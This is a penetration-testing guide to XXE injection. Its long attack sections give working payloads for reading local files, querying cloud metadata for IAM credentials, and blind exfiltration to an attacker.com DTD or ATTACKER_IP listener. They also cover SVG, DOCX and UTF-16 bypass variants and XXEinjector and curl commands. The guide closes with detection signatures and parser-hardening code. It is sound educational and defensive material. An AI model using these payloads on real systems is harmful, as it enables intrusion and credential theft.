
XML External Entity (XXE) Injection
XXE injection attack guide for file disclosure, SSRF, and blind out-of-band data exfiltration through XML parsers.
Introduction
XML External Entity injection exploits the XML specification's support for ENTITY declarations that reference external resources — file paths, HTTP endpoints, or FTP URIs. When a parser expands these declarations without restriction, an attacker can read arbitrary files from the server's filesystem, initiate server-side requests to internal services, and in some configurations execute code or trigger denial of service through entity expansion loops (Billion Laughs).
The root cause is not a bug in any single parser — it is a feature of the XML 1.0 specification. External entity support predates modern threat models, and many applications inherit vulnerable parser configurations from frameworks, libraries, or third-party components that enable it by default. Office document formats (DOCX, XLSX, ODT), SVG, SAML assertions, RSS/Atom feeds, and any custom XML API are all viable attack surfaces. The impact frequently includes local file read of /etc/passwd, /etc/shadow, application configuration files with database credentials, AWS instance metadata via http://169.254.169.254/, and internal service enumeration.
SSRF via XXE is particularly dangerous in cloud environments where the metadata endpoint returns IAM credentials. A successful http:// entity request against 169.254.169.254/latest/meta-data/iam/security-credentials/ gives temporary AWS credentials that may have broad permissions. The distinction between file disclosure and SSRF comes down to the URI scheme: file:// reads from disk, http:// makes an outbound TCP connection.
Authorization Required
XXE attacks against systems you do not own or have explicit written permission to test are illegal under the Computer Fraud and Abuse Act (US), Computer Misuse Act (UK), and equivalent legislation in most jurisdictions. XXE payloads that trigger OOB callbacks will hit your attacker-controlled server — ensure it is not identifiable as belonging to a third party and is documented in your scope authorization.
Impact
- Local file read:
/etc/passwd,/proc/self/environ, application config files, private keys - AWS/GCP/Azure instance metadata exfiltration yielding IAM credentials
- Internal network port scanning via
http://entity requests (response timing reveals open ports) - SSRF to services that trust requests from localhost (Redis, Memcached, internal APIs)
- Credential theft from config files (
database.yml,wp-config.php,.env,web.config) - DoS via recursive entity expansion (Billion Laughs / XML bomb)
- Pivot to RCE when combined with PHP
expect://wrappers or readable SSH authorized_keys
Technical Details
XML parsers that support external entities must fetch and inline the content of any SYSTEM or PUBLIC entity before returning the parsed document. The attack injects a DOCTYPE declaration containing an external entity definition, then references that entity inside the document body where the application will reflect or process the content.
Two entity types matter for exploitation:
General entities (&xxe;) are expanded inline in element content — the classic reflected XXE path. Parameter entities (%xxe;) are only valid inside DTD declarations, but they can be used to load external DTD files containing entity chains that trigger OOB data exfiltration. Parameter entities are essential for blind XXE where the application never returns the parsed content.
Classic XXE — Direct File Read
Inject a DOCTYPE that declares an external entity pointing to a local file, then reference it in the XML body. The application must reflect the parsed element value somewhere in the response.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>Response excerpt (partial):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...On Windows, use file:///C:/Windows/System32/drivers/etc/hosts or file:///C:/inetpub/wwwroot/web.config.
XXE to SSRF — Internal Service Probing
Replace the file:// URI with http:// to make the parser issue an outbound HTTP request. Use this to reach cloud metadata endpoints or probe internal services.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<stockCheck>
<productId>&ssrf;</productId>
<storeId>1</storeId>
</stockCheck>For GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token (requires Metadata-Flavor: Google header — may not work through XML entity fetch depending on parser).
For internal port scanning, iterate over ports and measure response time/error differences:
<!ENTITY portscan SYSTEM "http://192.168.1.1:6379/">A Redis instance on 6379 will return its banner; a closed port will error immediately.
Blind XXE — Out-of-Band via Parameter Entities
When the application parses XML but never reflects entity values in the response, use parameter entities to load an attacker-controlled external DTD that chains entity declarations to exfiltrate data via HTTP.
Host the following DTD on your server (https://attacker.com/evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY % exfil SYSTEM 'https://attacker.com/collect?d=%file;'>">
%wrap;
%exfil;Send this payload to the target:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "https://attacker.com/evil.dtd">
%xxe;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>Your HTTP server receives a request like:
GET /collect?d=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1:... HTTP/1.1
Host: attacker.comMulti-line files will be URL-encoded in the query string. Use netcat or Burp Collaborator to catch the callback.
Error-Based Blind XXE
When the application throws XML parse errors that leak content, you can trigger a deliberately malformed entity reference that embeds the file content in the error message without needing an outbound HTTP callback.
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%exfil;The parser attempts to open file:///nonexistent/root:x:0:0:... and emits an error containing the file content in the path.
XXE via SVG File Upload
Applications that process uploaded SVG images (avatar uploads, report exports, image converters) often parse them with a full XML parser. Inject external entity references directly into the SVG.
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY>
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="10" y="30">&xxe;</text>
</svg>Upload as avatar.svg. If the application renders the SVG server-side (Inkscape, ImageMagick with SVG delegate, LibreOffice) or returns it inline, the entity is resolved. Rasterizers like Batik and svg2png are also vulnerable when external entity processing is enabled.
XXE in DOCX / XLSX (Office Open XML)
DOCX and XLSX files are ZIP archives containing XML. word/document.xml in a DOCX and xl/worksheets/sheet1.xml in XLSX are parsed when the application processes uploaded documents (document converters, mail merge, report engines).
Extract and modify the document XML:
unzip target.docx -d docx_extracted/
# Edit word/document.xml to inject DOCTYPE:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Reference &xxe; inside a <w:t> element
zip -r malicious.docx docx_extracted/<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:wpc="..." xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body>
<w:p><w:r><w:t>&xxe;</w:t></w:r></w:p>
</w:body>
</w:document>LibreOffice, Apache POI (without explicit FEATURE_SECURE_PROCESSING), and python-docx pre-1.x are historically vulnerable to this.
Encoding Bypass — UTF-16
Some WAFs and input filters inspect XML for DOCTYPE patterns using byte-string matching on UTF-8 input. A UTF-16 encoded payload with a BOM bypasses these filters since the raw bytes differ entirely.
payload = '''<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>'''
with open("xxe_utf16.xml", "wb") as f:
f.write(payload.encode("utf-16"))Send with Content-Type: application/xml; charset=UTF-16. Parsers that support encoding negotiation will decode the BOM and process the DOCTYPE normally.
Attack Tools
Burp's active scanner automatically detects classic and blind XXE. The Intruder and Repeater tabs are the primary manual testing interface.
# Burp Scanner — active scan on XML endpoints
# Right-click request > Scan > Active Scan
# Findings appear under Target > Issue Activity
# For manual testing in Repeater:
# 1. Intercept XML request
# 2. Modify Content-Type to application/xml if needed
# 3. Inject DOCTYPE before root element
# 4. Use Burp Collaborator for blind OOB:
# <!ENTITY xxe SYSTEM "http://YOUR-COLLABORATOR-ID.burpcollaborator.net">Burp Collaborator provides a DNS/HTTP/SMTP listener. When the parser resolves the entity, the callback appears in "Poll now" results under the Collaborator client tab. This confirms blind XXE before attempting file exfiltration.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://abcd1234.burpcollaborator.net/xxe-test">
]>
<root>&xxe;</root>XXEinjector automates file enumeration and exfiltration over HTTP OOB callbacks.
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector# Save the intercepted request to request.txt with XXEINJECT placeholder
ruby XXEinjector.rb \
--host=192.168.1.100 \
--httpport=4444 \
--file=/tmp/request.txt \
--path=/etc/passwd \
--oob=http \
--phpfilterruby XXEinjector.rb \
--host=192.168.1.100 \
--httpport=4444 \
--file=/tmp/request.txt \
--enumports=all \
--oob=httpPOST /api/parse HTTP/1.1
Host: target.com
Content-Type: application/xml
XXEINJECTThe --phpfilter flag wraps file content in php://filter/convert.base64-encode to handle binary files and multi-line content that would break URL encoding.
curl -s -X POST https://target.com/api/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'# Terminal 1: start listener
nc -lvnp 8080
# Terminal 2: send payload (replace ATTACKER_IP)
curl -s -X POST https://target.com/api/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://ATTACKER_IP:8080/xxe">]><root>&xxe;</root>'curl -s -X POST https://target.com/api/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><root>&xxe;</root>'curl -s -X POST https://target.com/api/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/shadow">]><root>&xxe;</root>' \
| base64 -dDetection
XXE attacks generate several detectable patterns across web server logs, application logs, and network telemetry.
Web Application Firewall / IDS Signatures
| Pattern | Detection Rule |
|---|---|
DOCTYPE in POST body | Alert on <!DOCTYPE in XML content-type requests |
SYSTEM keyword | Alert on SYSTEM\s+"(file|http|ftp):// in request bodies |
| Entity expansion depth | Alert on nested entity references exceeding depth 3 |
| OOB callback | DNS/HTTP request from app server to external host triggered by XML parse |
Application Logs
Watch for file-not-found errors in application logs that contain file paths — these indicate error-based blind XXE enumeration:
WARN xml.parser - Failed to open: file:///etc/shadow (Permission denied)
ERROR xml.parser - External entity resolution failed: http://169.254.169.254/Network Monitoring (SSRF component)
# Zeek/Bro signature for metadata endpoint access
event http_request(c: connection, method: string, original_URI: string, ...) {
if ( /169\.254\.169\.254/ in original_URI )
NOTICE([$note=Notice::Weird, $msg="IMDSv1 access attempt"]);
}SIEM Query — Splunk
index=web_logs method=POST
| rex field=request_body "(?i)<!DOCTYPE\s+\w+\s*\["
| stats count by src_ip, uri_path, user_agent
| where count > 5
| sort -countAWS CloudTrail — Detect IMDS credential access via SSRF
{
"eventSource": "sts.amazonaws.com",
"eventName": "AssumeRole",
"sourceIPAddress": "169.254.169.254"
}CloudTrail does not log IMDSv1 token retrieval directly, but subsequent API calls using credentials obtained via SSRF will originate from the EC2 instance IP with an IAM role credential — correlate userIdentity.type: AssumedRole with unexpected API call patterns.
Remediation
Disable External Entity Processing — Language-Specific
| Language / Library | Secure Configuration |
|---|---|
Java XMLInputFactory | factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false) |
Java DocumentBuilderFactory | dbf.setFeature("http://xml.org/sax/features/external-general-entities", false) |
PHP libxml | libxml_disable_entity_loader(true) (PHP < 8.0); PHP 8.0+ disables by default |
Python lxml | etree.XMLParser(resolve_entities=False, no_network=True) |
Python xml.etree.ElementTree | Safe by default since Python 3.8 (defusedxml for earlier versions) |
Ruby Nokogiri | Nokogiri::XML::ParseOptions::NONET flag |
.NET XmlReader | XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit } |
| libxml2 (C) | xmlCtxtReadMemory(..., XML_PARSE_NOENT | LIBXML_NONET) — omit XML_PARSE_NOENT, add XML_PARSE_NONET |
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);from lxml import etree
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
load_dtd=False,
forbid_dtd=True,
)
tree = etree.fromstring(xml_data, parser=parser)Architectural Mitigations
- Migrate XML APIs to JSON where the business logic permits — eliminates the attack surface entirely
- Validate
Content-Typeheader before parsing: rejectapplication/xmlon endpoints that expectapplication/json - For file upload processing (DOCX, SVG), run parsers in a sandboxed subprocess or container with no network access and read-only filesystem mounts
- Block outbound HTTP/DNS from application servers at the network perimeter to prevent OOB exfiltration callbacks
- Enable IMDSv2 on AWS EC2 instances (
HttpTokens: required) — IMDSv2 requires a PUT request with a session token before GET requests to the metadata endpoint, which XML entity fetches cannot satisfy - Apply
egressnetwork policies in Kubernetes to prevent application pods from reaching169.254.169.254
References
MITRE ATT&CK Techniques
- T1190 - Exploit Public-Facing Application
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1083 - File and Directory Discovery
Tools Documentation
- PortSwigger Web Security Academy — XXE
- XXEinjector GitHub
- OWASP XXE Prevention Cheat Sheet
- defusedxml Python library
- Burp Suite Collaborator documentation
Next Steps
Cross-Site Scripting (XSS): Attack and Defense
Complete guide to XSS vulnerabilities including reflected, stored, and DOM-based attacks with detection techniques, exploitation payloads, and remediation strategies.
Windows Security
Windows privilege escalation techniques, group exploitation, system hardening, and vulnerability exploitation for penetration testing and red team operations.